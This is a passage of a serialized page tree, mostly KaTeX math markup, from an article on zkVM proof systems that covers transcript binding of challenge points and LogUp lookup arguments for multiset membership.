,[111707],{"type":28,"value":20932},{"type":23,"tag":314,"props":111709,"children":111711},{"className":111710},[20954,3313],[111712],{"type":28,"value":75870},{"type":23,"tag":314,"props":111714,"children":111716},{"className":111715},[3264,3313],[111717],{"type":28,"value":1600},{"type":23,"tag":314,"props":111719,"children":111721},{"className":111720},[3376,3313],[111722],{"type":28,"value":3379},{"type":23,"tag":314,"props":111724,"children":111726},{"className":111725},[3264,3313],[111727],{"type":28,"value":3267},{"type":23,"tag":314,"props":111729,"children":111731},{"className":111730},[20976,3313],[111732,111737],{"type":23,"tag":314,"props":111733,"children":111735},{"className":111734},[20976,3313],[111736],{"type":28,"value":33389},{"type":23,"tag":314,"props":111738,"children":111740},{"className":111739},[3280],[111741],{"type":23,"tag":314,"props":111742,"children":111744},{"className":111743},[3285],[111745],{"type":23,"tag":314,"props":111746,"children":111748},{"className":111747},[3290],[111749],{"type":23,"tag":314,"props":111750,"children":111753},{"className":111751,"style":111752},[3295],"height:0.5935em;",[111754],{"type":23,"tag":314,"props":111755,"children":111757},{"style":111756},"top:-2.786em;margin-right:0.0714em;",[111758,111762],{"type":23,"tag":314,"props":111759,"children":111761},{"className":111760,"style":108159},[3304],[],{"type":23,"tag":314,"props":111763,"children":111765},{"className":111764},[3310,108164,108165,3313],[111766],{"type":23,"tag":314,"props":111767,"children":111769},{"className":111768},[3264,20825,3313],[111770],{"type":28,"value":55654},{"type":23,"tag":314,"props":111772,"children":111774},{"className":111773},[20982],[111775],{"type":28,"value":20985},{"type":23,"tag":314,"props":111777,"children":111779},{"className":111778},[3290],[111780],{"type":23,"tag":314,"props":111781,"children":111784},{"className":111782,"style":111783},[3295],"height:0.5144em;",[111785],{"type":23,"tag":314,"props":111786,"children":111787},{},[],{"type":23,"tag":314,"props":111789,"children":111791},{"className":111790,"style":3383},[3344],[],{"type":23,"tag":314,"props":111793,"children":111795},{"className":111794,"style":94653},[3264,20825],[111796],{"type":28,"value":32333},{"type":23,"tag":314,"props":111798,"children":111800},{"className":111799},[20954],[111801],{"type":28,"value":341},{"type":23,"tag":314,"props":111803,"children":111805},{"className":111804},[3264,111448],[111806],{"type":23,"tag":314,"props":111807,"children":111809},{"className":111808},[3285],[111810],{"type":23,"tag":314,"props":111811,"children":111813},{"className":111812},[3290],[111814],{"type":23,"tag":314,"props":111815,"children":111817},{"className":111816,"style":111664},[3295],[111818,111830],{"type":23,"tag":314,"props":111819,"children":111820},{"style":111465},[111821,111825],{"type":23,"tag":314,"props":111822,"children":111824},{"className":111823,"style":111470},[3304],[],{"type":23,"tag":314,"props":111826,"children":111828},{"className":111827},[3264,20825],[111829],{"type":28,"value":2477},{"type":23,"tag":314,"props":111831,"children":111833},{"style":111832},"top:-3.2634em;",[111834,111838],{"type":23,"tag":314,"props":111835,"children":111837},{"className":111836,"style":111470},[3304],[],{"type":23,"tag":314,"props":111839,"children":111841},{"className":111840,"style":111691},[111488],[111842],{"type":23,"tag":314,"props":111843,"children":111845},{"className":111844,"style":111564},[111563],[111846],{"type":23,"tag":33522,"props":111847,"children":111848},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[111849],{"type":23,"tag":111576,"props":111850,"children":111851},{"d":111578},[],{"type":23,"tag":314,"props":111853,"children":111855},{"className":111854},[20976],[111856],{"type":28,"value":431},{"type":23,"tag":314,"props":111858,"children":111860},{"className":111859,"style":3345},[3344],[],{"type":23,"tag":314,"props":111862,"children":111864},{"className":111863},[3350],[111865],{"type":28,"value":110561},{"type":23,"tag":314,"props":111867,"children":111869},{"className":111868,"style":3345},[3344],[],{"type":23,"tag":314,"props":111871,"children":111873},{"className":111872},[3253],[111874,111879,111889,111894,111943,111948,111952,112001],{"type":23,"tag":314,"props":111875,"children":111878},{"className":111876,"style":111877},[3258],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":314,"props":111880,"children":111882},{"className":111881},[3264,28],[111883],{"type":23,"tag":314,"props":111884,"children":111886},{"className":111885},[3264],[111887],{"type":28,"value":111888},"eq",{"type":23,"tag":314,"props":111890,"children":111892},{"className":111891},[20954],[111893],{"type":28,"value":341},{"type":23,"tag":314,"props":111895,"children":111897},{"className":111896},[3264,111448],[111898],{"type":23,"tag":314,"props":111899,"children":111901},{"className":111900},[3285],[111902],{"type":23,"tag":314,"props":111903,"children":111905},{"className":111904},[3290],[111906],{"type":23,"tag":314,"props":111907,"children":111909},{"className":111908,"style":111664},[3295],[111910,111922],{"type":23,"tag":314,"props":111911,"children":111912},{"style":111465},[111913,111917],{"type":23,"tag":314,"props":111914,"children":111916},{"className":111915,"style":111470},[3304],[],{"type":23,"tag":314,"props":111918,"children":111920},{"className":111919},[3264,20825],[111921],{"type":28,"value":2477},{"type":23,"tag":314,"props":111923,"children":111924},{"style":111832},[111925,111929],{"type":23,"tag":314,"props":111926,"children":111928},{"className":111927,"style":111470},[3304],[],{"type":23,"tag":314,"props":111930,"children":111932},{"className":111931,"style":111691},[111488],[111933],{"type":23,"tag":314,"props":111934,"children":111936},{"className":111935,"style":111564},[111563],[111937],{"type":23,"tag":33522,"props":111938,"children":111939},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[111940],{"type":23,"tag":111576,"props":111941,"children":111942},{"d":111578},[],{"type":23,"tag":314,"props":111944,"children":111946},{"className":111945},[3376],[111947],{"type":28,"value":3379},{"type":23,"tag":314,"props":111949,"children":111951},{"className":111950,"style":3383},[3344],[],{"type":23,"tag":314,"props":111953,"children":111955},{"className":111954},[3264,111448],[111956],{"type":23,"tag":314,"props":111957,"children":111959},{"className":111958},[3285],[111960],{"type":23,"tag":314,"props":111961,"children":111963},{"className":111962},[3290],[111964],{"type":23,"tag":314,"props":111965,"children":111967},{"className":111966,"style":111534},[3295],[111968,111980],{"type":23,"tag":314,"props":111969,"children":111970},{"style":111465},[111971,111975],{"type":23,"tag":314,"props":111972,"children":111974},{"className":111973,"style":111470},[3304],[],{"type":23,"tag":314,"props":111976,"children":111978},{"className":111977,"style":92299},[3264,20825],[111979],{"type":28,"value":93118},{"type":23,"tag":314,"props":111981,"children":111982},{"style":111465},[111983,111987],{"type":23,"tag":314,"props":111984,"children":111986},{"className":111985,"style":111470},[3304],[],{"type":23,"tag":314,"props":111988,"children":111990},{"className":111989,"style":111558},[111488],[111991],{"type":23,"tag":314,"props":111992,"children":111994},{"className":111993,"style":111564},[111563],[111995],{"type":23,"tag":33522,"props":111996,"children":111997},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[111998],{"type":23,"tag":111576,"props":111999,"children":112000},{"d":111578},[],{"type":23,"tag":314,"props":112002,"children":112004},{"className":112003},[20976],[112005],{"type":28,"value":431},{"type":23,"tag":24,"props":112007,"children":112008},{},[112009,112011,112080,112082,112228,112230,112369,112371,112455],{"type":28,"value":112010},"At a fixed challenge point ",{"type":23,"tag":94,"props":112012,"children":112014},{"className":112013},[3237,3238],[112015],{"type":23,"tag":314,"props":112016,"children":112018},{"className":112017},[3243],[112019],{"type":23,"tag":314,"props":112020,"children":112022},{"className":112021,"ariaHidden":1481},[3248],[112023],{"type":23,"tag":314,"props":112024,"children":112026},{"className":112025},[3253],[112027,112031],{"type":23,"tag":314,"props":112028,"children":112030},{"className":112029,"style":111534},[3258],[],{"type":23,"tag":314,"props":112032,"children":112034},{"className":112033},[3264,111448],[112035],{"type":23,"tag":314,"props":112036,"children":112038},{"className":112037},[3285],[112039],{"type":23,"tag":314,"props":112040,"children":112042},{"className":112041},[3290],[112043],{"type":23,"tag":314,"props":112044,"children":112046},{"className":112045,"style":111534},[3295],[112047,112059],{"type":23,"tag":314,"props":112048,"children":112049},{"style":111465},[112050,112054],{"type":23,"tag":314,"props":112051,"children":112053},{"className":112052,"style":111470},[3304],[],{"type":23,"tag":314,"props":112055,"children":112057},{"className":112056,"style":92299},[3264,20825],[112058],{"type":28,"value":93118},{"type":23,"tag":314,"props":112060,"children":112061},{"style":111465},[112062,112066],{"type":23,"tag":314,"props":112063,"children":112065},{"className":112064,"style":111470},[3304],[],{"type":23,"tag":314,"props":112067,"children":112069},{"className":112068,"style":111558},[111488],[112070],{"type":23,"tag":314,"props":112071,"children":112073},{"className":112072,"style":111564},[111563],[112074],{"type":23,"tag":33522,"props":112075,"children":112076},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[112077],{"type":23,"tag":111576,"props":112078,"children":112079},{"d":111578},[],{"type":28,"value":112081},", the coefficients ",{"type":23,"tag":94,"props":112083,"children":112085},{"className":112084},[3237,3238],[112086],{"type":23,"tag":314,"props":112087,"children":112089},{"className":112088},[3243],[112090],{"type":23,"tag":314,"props":112091,"children":112093},{"className":112092,"ariaHidden":1481},[3248],[112094],{"type":23,"tag":314,"props":112095,"children":112097},{"className":112096},[3253],[112098,112102,112111,112116,112165,112170,112174,112223],{"type":23,"tag":314,"props":112099,"children":112101},{"className":112100,"style":111877},[3258],[],{"type":23,"tag":314,"props":112103,"children":112105},{"className":112104},[3264,28],[112106],{"type":23,"tag":314,"props":112107,"children":112109},{"className":112108},[3264],[112110],{"type":28,"value":111888},{"type":23,"tag":314,"props":112112,"children":112114},{"className":112113},[20954],[112115],{"type":28,"value":341},{"type":23,"tag":314,"props":112117,"children":112119},{"className":112118},[3264,111448],[112120],{"type":23,"tag":314,"props":112121,"children":112123},{"className":112122},[3285],[112124],{"type":23,"tag":314,"props":112125,"children":112127},{"className":112126},[3290],[112128],{"type":23,"tag":314,"props":112129,"children":112131},{"className":112130,"style":111664},[3295],[112132,112144],{"type":23,"tag":314,"props":112133,"children":112134},{"style":111465},[112135,112139],{"type":23,"tag":314,"props":112136,"children":112138},{"className":112137,"style":111470},[3304],[],{"type":23,"tag":314,"props":112140,"children":112142},{"className":112141},[3264,20825],[112143],{"type":28,"value":2477},{"type":23,"tag":314,"props":112145,"children":112146},{"style":111832},[112147,112151],{"type":23,"tag":314,"props":112148,"children":112150},{"className":112149,"style":111470},[3304],[],{"type":23,"tag":314,"props":112152,"children":112154},{"className":112153,"style":111691},[111488],[112155],{"type":23,"tag":314,"props":112156,"children":112158},{"className":112157,"style":111564},[111563],[112159],{"type":23,"tag":33522,"props":112160,"children":112161},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[112162],{"type":23,"tag":111576,"props":112163,"children":112164},{"d":111578},[],{"type":23,"tag":314,"props":112166,"children":112168},{"className":112167},[3376],[112169],{"type":28,"value":3379},{"type":23,"tag":314,"props":112171,"children":112173},{"className":112172,"style":3383},[3344],[],{"type":23,"tag":314,"props":112175,"children":112177},{"className":112176},[3264,111448],[112178],{"type":23,"tag":314,"props":112179,"children":112181},{"className":112180},[3285],[112182],{"type":23,"tag":314,"props":112183,"children":112185},{"className":112184},[3290],[112186],{"type":23,"tag":314,"props":112187,"children":112189},{"className":112188,"style":111534},[3295],[112190,112202],{"type":23,"tag":314,"props":112191,"children":112192},{"style":111465},[112193,112197],{"type":23,"tag":314,"props":112194,"children":112196},{"className":112195,"style":111470},[3304],[],{"type":23,"tag":314,"props":112198,"children":112200},{"className":112199,"style":92299},[3264,20825],[112201],{"type":28,"value":93118},{"type":23,"tag":314,"props":112203,"children":112204},{"style":111465},[112205,112209],{"type":23,"tag":314,"props":112206,"children":112208},{"className":112207,"style":111470},[3304],[],{"type":23,"tag":314,"props":112210,"children":112212},{"className":112211,"style":111558},[111488],[112213],{"type":23,"tag":314,"props":112214,"children":112216},{"className":112215,"style":111564},[111563],[112217],{"type":23,"tag":33522,"props":112218,"children":112219},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[112220],{"type":23,"tag":111576,"props":112221,"children":112222},{"d":111578},[],{"type":23,"tag":314,"props":112224,"children":112226},{"className":112225},[20976],[112227],{"type":28,"value":431},{"type":28,"value":112229}," are constants, so ",{"type":23,"tag":94,"props":112231,"children":112233},{"className":112232},[3237,3238],[112234],{"type":23,"tag":314,"props":112235,"children":112237},{"className":112236},[3243],[112238],{"type":23,"tag":314,"props":112239,"children":112241},{"className":112240,"ariaHidden":1481},[3248],[112242],{"type":23,"tag":314,"props":112243,"children":112245},{"className":112244},[3253],[112246,112250,112310,112315,112364],{"type":23,"tag":314,"props":112247,"children":112249},{"className":112248,"style":111443},[3258],[],{"type":23,"tag":314,"props":112251,"children":112253},{"className":112252},[3264,111448],[112254],{"type":23,"tag":314,"props":112255,"children":112257},{"className":112256},[3285,20879],[112258,112299],{"type":23,"tag":314,"props":112259,"children":112261},{"className":112260},[3290],[112262,112294],{"type":23,"tag":314,"props":112263,"children":112265},{"className":112264,"style":111461},[3295],[112266,112278],{"type":23,"tag":314,"props":112267,"children":112268},{"style":111465},[112269,112273],{"type":23,"tag":314,"props":112270,"children":112272},{"className":112271,"style":111470},[3304],[],{"type":23,"tag":314,"props":112274,"children":112276},{"className":112275,"style":94653},[3264,20825],[112277],{"type":28,"value":32333},{"type":23,"tag":314,"props":112279,"children":112280},{"style":111479},[112281,112285],{"type":23,"tag":314,"props":112282,"children":112284},{"className":112283,"style":111470},[3304],[],{"type":23,"tag":314,"props":112286,"children":112288},{"className":112287,"style":111489},[111488],[112289],{"type":23,"tag":314,"props":112290,"children":112292},{"className":112291},[3264],[112293],{"type":28,"value":111496},{"type":23,"tag":314,"props":112295,"children":112297},{"className":112296},[20982],[112298],{"type":28,"value":20985},{"type":23,"tag":314,"props":112300,"children":112302},{"className":112301},[3290],[112303],{"type":23,"tag":314,"props":112304,"children":112306},{"className":112305,"style":111509},[3295],[112307],{"type":23,"tag":314,"props":112308,"children":112309},{},[],{"type":23,"tag":314,"props":112311,"children":112313},{"className":112312},[20954],[112314],{"type":28,"value":341},{"type":23,"tag":314,"props":112316,"children":112318},{"className":112317},[3264,111448],[112319],{"type":23,"tag":314,"props":112320,"children":112322},{"className":112321},[3285],[112323],{"type":23,"tag":314,"props":112324,"children":112326},{"className":112325},[3290],[112327],{"type":23,"tag":314,"props":112328,"children":112330},{"className":112329,"style":111534},[3295],[112331,112343],{"type":23,"tag":314,"props":112332,"children":112333},{"style":111465},[112334,112338],{"type":23,"tag":314,"props":112335,"children":112337},{"className":112336,"style":111470},[3304],[],{"type":23,"tag":314,"props":112339,"children":112341},{"className":112340,"style":92299},[3264,20825],[112342],{"type":28,"value":93118},{"type":23,"tag":314,"props":112344,"children":112345},{"style":111465},[112346,112350],{"type":23,"tag":314,"props":112347,"children":112349},{"className":112348,"style":111470},[3304],[],{"type":23,"tag":314,"props":112351,"children":112353},{"className":112352,"style":111558},[111488],[112354],{"type":23,"tag":314,"props":112355,"children":112357},{"className":112356,"style":111564},[111563],[112358],{"type":23,"tag":33522,"props":112359,"children":112360},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[112361],{"type":23,"tag":111576,"props":112362,"children":112363},{"d":111578},[],{"type":23,"tag":314,"props":112365,"children":112367},{"className":112366},[20976],[112368],{"type":28,"value":431},{"type":28,"value":112370}," is linear in the table values ",{"type":23,"tag":94,"props":112372,"children":112374},{"className":112373},[3237,3238],[112375],{"type":23,"tag":314,"props":112376,"children":112378},{"className":112377},[3243],[112379],{"type":23,"tag":314,"props":112380,"children":112382},{"className":112381,"ariaHidden":1481},[3248],[112383],{"type":23,"tag":314,"props":112384,"children":112386},{"className":112385},[3253],[112387,112391,112396,112401,112450],{"type":23,"tag":314,"props":112388,"children":112390},{"className":112389,"style":111877},[3258],[],{"type":23,"tag":314,"props":112392,"children":112394},{"className":112393,"style":94653},[3264,20825],[112395],{"type":28,"value":32333},{"type":23,"tag":314,"props":112397,"children":112399},{"className":112398},[20954],[112400],{"type":28,"value":341},{"type":23,"tag":314,"props":112402,"children":112404},{"className":112403},[3264,111448],[112405],{"type":23,"tag":314,"props":112406,"children":112408},{"className":112407},[3285],[112409],{"type":23,"tag":314,"props":112410,"children":112412},{"className":112411},[3290],[112413],{"type":23,"tag":314,"props":112414,"children":112416},{"className":112415,"style":111664},[3295],[112417,112429],{"type":23,"tag":314,"props":112418,"children":112419},{"style":111465},[112420,112424],{"type":23,"tag":314,"props":112421,"children":112423},{"className":112422,"style":111470},[3304],[],{"type":23,"tag":314,"props":112425,"children":112427},{"className":112426},[3264,20825],[112428],{"type":28,"value":2477},{"type":23,"tag":314,"props":112430,"children":112431},{"style":111832},[112432,112436],{"type":23,"tag":314,"props":112433,"children":112435},{"className":112434,"style":111470},[3304],[],{"type":23,"tag":314,"props":112437,"children":112439},{"className":112438,"style":111691},[111488],[112440],{"type":23,"tag":314,"props":112441,"children":112443},{"className":112442,"style":111564},[111563],[112444],{"type":23,"tag":33522,"props":112445,"children":112446},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[112447],{"type":23,"tag":111576,"props":112448,"children":112449},{"d":111578},[],{"type":23,"tag":314,"props":112451,"children":112453},{"className":112452},[20976],[112454],{"type":28,"value":431},{"type":28,"value":282},{"type":23,"tag":24,"props":112457,"children":112458},{},[112459,112461,112530],{"type":28,"value":112460},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":94,"props":112462,"children":112464},{"className":112463},[3237,3238],[112465],{"type":23,"tag":314,"props":112466,"children":112468},{"className":112467},[3243],[112469],{"type":23,"tag":314,"props":112470,"children":112472},{"className":112471,"ariaHidden":1481},[3248],[112473],{"type":23,"tag":314,"props":112474,"children":112476},{"className":112475},[3253],[112477,112481],{"type":23,"tag":314,"props":112478,"children":112480},{"className":112479,"style":111534},[3258],[],{"type":23,"tag":314,"props":112482,"children":112484},{"className":112483},[3264,111448],[112485],{"type":23,"tag":314,"props":112486,"children":112488},{"className":112487},[3285],[112489],{"type":23,"tag":314,"props":112490,"children":112492},{"className":112491},[3290],[112493],{"type":23,"tag":314,"props":112494,"children":112496},{"className":112495,"style":111534},[3295],[112497,112509],{"type":23,"tag":314,"props":112498,"children":112499},{"style":111465},[112500,112504],{"type":23,"tag":314,"props":112501,"children":112503},{"className":112502,"style":111470},[3304],[],{"type":23,"tag":314,"props":112505,"children":112507},{"className":112506,"style":92299},[3264,20825],[112508],{"type":28,"value":93118},{"type":23,"tag":314,"props":112510,"children":112511},{"style":111465},[112512,112516],{"type":23,"tag":314,"props":112513,"children":112515},{"className":112514,"style":111470},[3304],[],{"type":23,"tag":314,"props":112517,"children":112519},{"className":112518,"style":111558},[111488],[112520],{"type":23,"tag":314,"props":112521,"children":112523},{"className":112522,"style":111564},[111563],[112524],{"type":23,"tag":33522,"props":112525,"children":112526},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[112527],{"type":23,"tag":111576,"props":112528,"children":112529},{"d":111578},[],{"type":28,"value":112531}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":837,"props":112533,"children":112535},{"id":112534},"lookup-arguments-logup",[112536],{"type":28,"value":112537},"Lookup Arguments (LogUp)",{"type":23,"tag":24,"props":112539,"children":112540},{},[112541],{"type":28,"value":112542},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":127,"props":112544,"children":112545},{},[112546,112602,112607],{"type":23,"tag":88,"props":112547,"children":112548},{},[112549,112551,112601],{"type":28,"value":112550},"Is this byte in range ",{"type":23,"tag":94,"props":112552,"children":112554},{"className":112553},[3237,3238],[112555],{"type":23,"tag":314,"props":112556,"children":112558},{"className":112557},[3243],[112559],{"type":23,"tag":314,"props":112560,"children":112562},{"className":112561,"ariaHidden":1481},[3248],[112563],{"type":23,"tag":314,"props":112564,"children":112566},{"className":112565},[3253],[112567,112571,112576,112581,112586,112590,112596],{"type":23,"tag":314,"props":112568,"children":112570},{"className":112569,"style":3365},[3258],[],{"type":23,"tag":314,"props":112572,"children":112574},{"className":112573},[20954],[112575],{"type":28,"value":1312},{"type":23,"tag":314,"props":112577,"children":112579},{"className":112578},[3264],[112580],{"type":28,"value":1600},{"type":23,"tag":314,"props":112582,"children":112584},{"className":112583},[3376],[112585],{"type":28,"value":3379},{"type":23,"tag":314,"props":112587,"children":112589},{"className":112588,"style":3383},[3344],[],{"type":23,"tag":314,"props":112591,"children":112593},{"className":112592},[3264],[112594],{"type":28,"value":112595},"255",{"type":23,"tag":314,"props":112597,"children":112599},{"className":112598},[20976],[112600],{"type":28,"value":14653},{"type":28,"value":2409},{"type":23,"tag":88,"props":112603,"children":112604},{},[112605],{"type":28,"value":112606},"Does this opcode decode correctly?",{"type":23,"tag":88,"props":112608,"children":112609},{},[112610],{"type":28,"value":112611},"Is this memory access consistent with previous accesses?",{"type":23,"tag":24,"props":112613,"children":112614},{},[112615,112620],{"type":23,"tag":721,"props":112616,"children":112617},{},[112618],{"type":28,"value":112619},"The naive approach:",{"type":28,"value":112621}," Add constraints for each check. Expensive.",{"type":23,"tag":24,"props":112623,"children":112624},{},[112625,112630,112632,112637],{"type":23,"tag":721,"props":112626,"children":112627},{},[112628],{"type":28,"value":112629},"The clever approach:",{"type":28,"value":112631}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":721,"props":112633,"children":112634},{},[112635],{"type":28,"value":112636},"multiset membership",{"type":28,"value":67049},{"type":23,"tag":24,"props":112639,"children":112640},{},[112641,112646],{"type":23,"tag":721,"props":112642,"children":112643},{},[112644],{"type":28,"value":112645},"LogUp (Logarithmic Derivative):",{"type":28,"value":112647}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":24,"props":112649,"children":112650},{},[112651,112653,112678,112680,112707],{"type":28,"value":112652},"If set ",{"type":23,"tag":94,"props":112654,"children":112656},{"className":112655},[3237,3238],[112657],{"type":23,"tag":314,"props":112658,"children":112660},{"className":112659},[3243],[112661],{"type":23,"tag":314,"props":112662,"children":112664},{"className":112663,"ariaHidden":1481},[3248],[112665],{"type":23,"tag":314,"props":112666,"children":112668},{"className":112667},[3253],[112669,112673],{"type":23,"tag":314,"props":112670,"children":112672},{"className":112671,"style":20820},[3258],[],{"type":23,"tag":314,"props":112674,"children":112676},{"className":112675},[3264,20825],[112677],{"type":28,"value":76019},{"type":28,"value":112679}," should equal set ",{"type":23,"tag":94,"props":112681,"children":112683},{"className":112682},[3237,3238],[112684],{"type":23,"tag":314,"props":112685,"children":112687},{"className":112686},[3243],[112688],{"type":23,"tag":314,"props":112689,"children":112691},{"className":112690,"ariaHidden":1481},[3248],[112692],{"type":23,"tag":314,"props":112693,"children":112695},{"className":112694},[3253],[112696,112700],{"type":23,"tag":314,"props":112697,"children":112699},{"className":112698,"style":20820},[3258],[],{"type":23,"tag":314,"props":112701,"children":112704},{"className":112702,"style":112703},[3264,20825],"margin-right:0.05017em;",[112705],{"type":28,"value":112706},"B",{"type":28,"value":112708}," as multisets:",{"type":23,"tag":24,"props":112710,"children":112711},{},[112712],{"type":23,"tag":94,"props":112713,"children":112715},{"className":112714},[3237,3238],[112716],{"type":23,"tag":314,"props":112717,"children":112719},{"className":112718},[3243],[112720],{"type":23,"tag":314,"props":112721,"children":112723},{"className":112722,"ariaHidden":1481},[3248],[112724,112939],{"type":23,"tag":314,"props":112725,"children":112727},{"className":112726},[3253],[112728,112733,112806,112810,112926,112930,112935],{"type":23,"tag":314,"props":112729,"children":112732},{"className":112730,"style":112731},[3258],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":314,"props":112734,"children":112736},{"className":112735},[20861],[112737,112742],{"type":23,"tag":314,"props":112738,"children":112740},{"className":112739,"style":20868},[20861,20866,20867],[112741],{"type":28,"value":108094},{"type":23,"tag":314,"props":112743,"children":112745},{"className":112744},[3280],[112746],{"type":23,"tag":314,"props":112747,"children":112749},{"className":112748},[3285,20879],[112750,112794],{"type":23,"tag":314,"props":112751,"children":112753},{"className":112752},[3290],[112754,112789],{"type":23,"tag":314,"props":112755,"children":112758},{"className":112756,"style":112757},[3295],"height:0.1786em;",[112759],{"type":23,"tag":314,"props":112760,"children":112761},{"style":20892},[112762,112766],{"type":23,"tag":314,"props":112763,"children":112765},{"className":112764,"style":3305},[3304],[],{"type":23,"tag":314,"props":112767,"children":112769},{"className":112768},[3310,3311,3312,3313],[112770],{"type":23,"tag":314,"props":112771,"children":112773},{"className":112772},[3264,3313],[112774,112779,112784],{"type":23,"tag":314,"props":112775,"children":112777},{"className":112776},[3264,20825,3313],[112778],{"type":28,"value":31},{"type":23,"tag":314,"props":112780,"children":112782},{"className":112781},[3447,3313],[112783],{"type":28,"value":20932},{"type":23,"tag":314,"props":112785,"children":112787},{"className":112786},[3264,20825,3313],[112788],{"type":28,"value":76019},{"type":23,"tag":314,"props":112790,"children":112792},{"className":112791},[20982],[112793],{"type":28,"value":20985},{"type":23,"tag":314,"props":112795,"children":112797},{"className":112796},[3290],[112798],{"type":23,"tag":314,"props":112799,"children":112802},{"className":112800,"style":112801},[3295],"height:0.3271em;",[112803],{"type":23,"tag":314,"props":112804,"children":112805},{},[],{"type":23,"tag":314,"props":112807,"children":112809},{"className":112808,"style":3383},[3344],[],{"type":23,"tag":314,"props":112811,"children":112813},{"className":112812},[3264],[112814,112819,112922],{"type":23,"tag":314,"props":112815,"children":112818},{"className":112816},[20954,112817],"nulldelimiter",[],{"type":23,"tag":314,"props":112820,"children":112823},{"className":112821},[112822],"mfrac",[112824],{"type":23,"tag":314,"props":112825,"children":112827},{"className":112826},[3285,20879],[112828,112910],{"type":23,"tag":314,"props":112829,"children":112831},{"className":112830},[3290],[112832,112905],{"type":23,"tag":314,"props":112833,"children":112836},{"className":112834,"style":112835},[3295],"height:0.8451em;",[112837,112870,112884],{"type":23,"tag":314,"props":112838,"children":112840},{"style":112839},"top:-2.655em;",[112841,112845],{"type":23,"tag":314,"props":112842,"children":112844},{"className":112843,"style":111470},[3304],[],{"type":23,"tag":314,"props":112846,"children":112848},{"className":112847},[3310,3311,3312,3313],[112849],{"type":23,"tag":314,"props":112850,"children":112852},{"className":112851},[3264,3313],[112853,112860,112865],{"type":23,"tag":314,"props":112854,"children":112857},{"className":112855,"style":112856},[3264,20825,3313],"margin-right:0.04398em;",[112858],{"type":28,"value":112859},"z",{"type":23,"tag":314,"props":112861,"children":112863},{"className":112862},[3350,3313],[112864],{"type":28,"value":3324},{"type":23,"tag":314,"props":112866,"children":112868},{"className":112867},[3264,20825,3313],[112869],{"type":28,"value":31},{"type":23,"tag":314,"props":112871,"children":112873},{"style":112872},"top:-3.23em;",[112874,112878],{"type":23,"tag":314,"props":112875,"children":112877},{"className":112876,"style":111470},[3304],[],{"type":23,"tag":314,"props":112879,"children":112883},{"className":112880,"style":112882},[112881],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":314,"props":112885,"children":112887},{"style":112886},"top:-3.394em;",[112888,112892],{"type":23,"tag":314,"props":112889,"children":112891},{"className":112890,"style":111470},[3304],[],{"type":23,"tag":314,"props":112893,"children":112895},{"className":112894},[3310,3311,3312,3313],[112896],{"type":23,"tag":314,"props":112897,"children":112899},{"className":112898},[3264,3313],[112900],{"type":23,"tag":314,"props":112901,"children":112903},{"className":112902},[3264,3313],[112904],{"type":28,"value":3267},{"type":23,"tag":314,"props":112906,"children":112908},{"className":112907},[20982],[112909],{"type":28,"value":20985},{"type":23,"tag":314,"props":112911,"children":112913},{"className":112912},[3290],[112914],{"type":23,"tag":314,"props":112915,"children":112918},{"className":112916,"style":112917},[3295],"height:0.4033em;",[112919],{"type":23,"tag":314,"props":112920,"children":112921},{},[],{"type":23,"tag":314,"props":112923,"children":112925},{"className":112924},[20976,112817],[],{"type":23,"tag":314,"props":112927,"children":112929},{"className":112928,"style":3442},[3344],[],{"type":23,"tag":314,"props":112931,"children":112933},{"className":112932},[3447],[112934],{"type":28,"value":1102},{"type":23,"tag":314,"props":112936,"children":112938},{"className":112937,"style":3442},[3344],[],{"type":23,"tag":314,"props":112940,"children":112942},{"className":112941},[3253],[112943,112947,113019,113023],{"type":23,"tag":314,"props":112944,"children":112946},{"className":112945,"style":112731},[3258],[],{"type":23,"tag":314,"props":112948,"children":112950},{"className":112949},[20861],[112951,112956],{"type":23,"tag":314,"props":112952,"children":112954},{"className":112953,"style":20868},[20861,20866,20867],[112955],{"type":28,"value":108094},{"type":23,"tag":314,"props":112957,"children":112959},{"className":112958},[3280],[112960],{"type":23,"tag":314,"props":112961,"children":112963},{"className":112962},[3285,20879],[112964,113008],{"type":23,"tag":314,"props":112965,"children":112967},{"className":112966},[3290],[112968,113003],{"type":23,"tag":314,"props":112969,"children":112972},{"className":112970,"style":112971},[3295],"height:0.1864em;",[112973],{"type":23,"tag":314,"props":112974,"children":112975},{"style":20892},[112976,112980],{"type":23,"tag":314,"props":112977,"children":112979},{"className":112978,"style":3305},[3304],[],{"type":23,"tag":314,"props":112981,"children":112983},{"className":112982},[3310,3311,3312,3313],[112984],{"type":23,"tag":314,"props":112985,"children":112987},{"className":112986},[3264,3313],[112988,112993,112998],{"type":23,"tag":314,"props":112989,"children":112991},{"className":112990},[3264,20825,3313],[112992],{"type":28,"value":2477},{"type":23,"tag":314,"props":112994,"children":112996},{"className":112995},[3447,3313],[112997],{"type":28,"value":20932},{"type":23,"tag":314,"props":112999,"children":113001},{"className":113000,"style":112703},[3264,20825,3313],[113002],{"type":28,"value":112706},{"type":23,"tag":314,"props":113004,"children":113006},{"className":113005},[20982],[113007],{"type":28,"value":20985},{"type":23,"tag":314,"props":113009,"children":113011},{"className":113010},[3290],[113012],{"type":23,"tag":314,"props":113013,"children":113015},{"className":113014,"style":112801},[3295],[113016],{"type":23,"tag":314,"props":113017,"children":113018},{},[],{"type":23,"tag":314,"props":113020,"children":1130